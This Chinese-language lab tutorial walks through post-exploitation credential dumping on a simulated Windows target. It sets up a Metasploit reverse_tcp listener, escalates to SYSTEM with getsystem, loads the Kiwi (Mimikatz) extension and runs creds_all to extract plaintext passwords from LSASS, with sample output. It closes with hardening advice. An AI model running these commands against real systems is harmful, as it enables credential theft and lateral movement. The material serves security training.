引言
在渗透测试的后渗透阶段,主要目标之一是收集凭据以便在网络中横向移动。Metasploit 的 Meterpreter 是一个强大的 payload,可以在受损系统上提供交互式 shell。
Meterpreter 最强大的功能之一是 Kiwi 扩展,它是著名 Mimikatz 工具的移植版本。Kiwi 允许攻击者直接从目标机器的内存中提取明文密码、哈希、PIN 码和 Kerberos 票据,特别是从本地安全机构子系统服务 (LSASS) 进程中提取。
在本实验中,你将学习如何在 Meterpreter 会话中加载和使用 Kiwi 扩展,以从模拟的 Windows 目标中转储凭据。
在 Windows 目标上获得具有 SYSTEM 权限的 Meterpreter 会话
在此步骤中,我们将模拟访问目标机器。在实际场景中,你将使用 exploit 来传递 payload。在这里,我们将使用 Metasploit Framework 控制台设置一个监听器。然后,一个模拟的目标将连接到我们的监听器,从而为我们提供一个 Meterpreter 会话。
首先,启动 Metasploit 控制台。-q 标志使其静默启动,不显示 banner。
msfconsole -q
接下来,我们将配置一个监听器来“捕获”来自模拟目标的传入连接。为此,我们使用 multi/handler 模块。
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
现在,使用 exploit -j 将监听器作为后台作业运行。
exploit -j
片刻之后,将创建一个会话。你可以使用 sessions 命令列出活动会话。
sessions
你应该会看到一个指示活动会话的输出,类似于:
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows WIN-TARGET\LabUser @ WIN-TARGET 127.0.0.1:4444 -> 127.0.0.1:54321 (...)
现在,与会话 1 进行交互。
sessions -i 1
你的提示符将变为 meterpreter >。为了有效使用 Kiwi,我们需要最高级别的权限,即 NT AUTHORITY\SYSTEM。我们可以尝试使用 getsystem 命令来提升我们的权限。
getsystem
你应该会看到一条 ...got system 消息。通过运行 getuid 来验证你的新身份。
getuid
预期的输出应该是:
Server username: NT AUTHORITY\SYSTEM
现在你拥有了一个具有 SYSTEM 权限的 Meterpreter 会话,可以进行下一步操作了。
使用 load kiwi 命令加载 kiwi 扩展
在此步骤中,你将把 Kiwi 扩展加载到你的 Meterpreter 会话中。Meterpreter 是模块化的,其扩展提供了额外的功能,这些功能默认不加载,以保持初始 payload 的体积小巧。Kiwi 扩展包含了执行 Mimikatz 式凭据转储所需的所有命令。
在你的 meterpreter > 提示符下,使用 load 命令添加 Kiwi 扩展。
load kiwi
如果命令成功,Meterpreter 将确认扩展已加载。
Loading extension kiwi...Success.
加载 Kiwi 扩展后,你现在可以访问一套新的强大命令来进行凭据收集。
使用 help 列出可用的 kiwi 命令
在此步骤中,你将验证 Kiwi 命令是否可用。在 Meterpreter 中加载任何扩展后,你可以使用 help 命令查看所有可用命令的更新列表。这是一个很好的实践,可以确认扩展已正确加载,并了解你拥有哪些新功能。
在 meterpreter > 提示符下,只需输入 help。
help
输出将是所有 Meterpreter 命令的长列表,按部分分组。滚动浏览输出,你应该会找到一个名为“Kiwi Commands”的新部分。此部分列出了 Kiwi 扩展提供的所有功能。
...
Kiwi Commands
=============
Command Description
------- -----------
creds_all Retrieve all credentials (parsed)
creds_kerberos Retrieve Kerberos creds (parsed)
creds_msv Retrieve MSV credentials (parsed)
creds_ssp Retrieve SSP credentials (parsed)
creds_tspkg Retrieve TSPKG credentials (parsed)
creds_wdigest Retrieve WDigest credentials (parsed)
dcsync Retrieve user account information via DCSync
dcsync_ntlm Retrieve user NTLM hash via DCSync
golden_ticket_create Create a golden kerberos ticket
kerberos_ticket_list List all kerberos tickets
kerberos_ticket_purge Purge any in-use kerberos tickets
kerberos_ticket_use Use a kerberos ticket
kiwi_cmd Execute a custom command
lsa_dump_sam Dump LSA SAM
lsa_dump_secrets Dump LSA secrets
wifi_list List wifi profiles/creds
wifi_list_shared List shared wifi profiles/creds
...
如你所见,Kiwi 添加了许多强大的命令来与 Windows 身份验证机制进行交互。
使用 creds_all 命令转储所有可用凭据
在此步骤中,你将执行 Kiwi 扩展的主要命令来转储内存中找到的所有凭据。creds_all 命令是一个方便的包装器,它一次运行多个不同的凭据收集模块,目标是各种身份验证包,如 WDigest、Kerberos 和 MSV。
请记住,此命令需要 SYSTEM 权限才能访问 LSASS 进程内存,这就是我们在第一步执行 getsystem 命令的原因。
在你的 meterpreter > 提示符下,运行 creds_all 命令。
creds_all
该命令将花费一些时间来运行,因为它会检查 LSASS 进程。输出将是详细的,显示为不同提供者找到的凭据。下面是你可能看到的示例。
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;109871 NTLM WIN-TARGET LabUser (null)
0;99876 NTLM WIN-TARGET WIN-TARGET$ (null)
wdigest credentials
===================
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;109871 WDigest WIN-TARGET LabUser P@ssword123!
0;99876 WDigest WIN-TARGET WIN-TARGET$ (null)
kerberos credentials
====================
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;109871 Kerberos WIN-TARGET LabUser P@ssword123!
0;99876 Kerberos WIN-TARGET WIN-TARGET$ (null)
...
你已成功从目标系统的内存中转储了凭据。下一步是分析此输出。
分析输出以查找明文密码
在最后一步中,你将分析 creds_all 命令的输出以识别明文密码。查找明文凭据的能力使得像 Kiwi 和 Mimikatz 这样的工具在横向移动方面非常强大。
查看你在上一步收到的输出。数据按身份验证包组织:
- msv: 此包处理标准的 NTLM 身份验证。它通常提供密码哈希,而不是明文密码,除非用户最近进行了交互式登录。
- wdigest: 在较旧的 Windows 系统或已明确启用它的系统上,WDigest 在内存中存储用户密码的可逆加密副本。Kiwi 可以轻松解密此副本,从而显示明文密码。这通常是最有价值的部分。
- kerberos: 此包管理 Kerberos 票据。与 WDigest 类似,它还可以缓存已登录用户的明文密码。
- ssp 和 tspkg: 这些包处理其他服务的凭据,例如远程桌面连接。
在上一示例输出中,你可以在 wdigest 和 kerberos 部分清楚地看到用户 LabUser 的明文密码:
wdigest credentials
===================
...
0;109871 WDigest WIN-TARGET LabUser P@ssword123!
...
kerberos credentials
====================
...
0;109871 Kerberos WIN-TARGET LabUser P@ssword123!
...
通过仔细检查输出并在 Password 列中查找非 (null) 值,你可以收集有价值的凭据。然后,这些信息可以用于以该用户的身份访问其他系统或服务。
总结
在此实验中,你成功执行了一项经典的后渗透技术。你首先在模拟的 Windows 目标上获得了具有 SYSTEM 权限的 Meterpreter 会话。然后,你加载了 Kiwi 扩展,该扩展将 Mimikatz 的功能集成到 Meterpreter 中。
使用 creds_all 命令,你直接从 LSASS 进程内存中转储了凭据。最后,你分析了输出以提取已登录用户的明文密码。
此练习突显了端点安全加固的重要性。针对此类攻击的防御措施包括:
- 禁用 WDigest 身份验证。
- 启用 LSA 保护 (RunAsPPL)。
- 实施最小权限原则,以确保用户和进程没有不必要的管理权限。
你现在对攻击者如何利用内存中的凭据转储来进一步危害网络有了实际的理解。


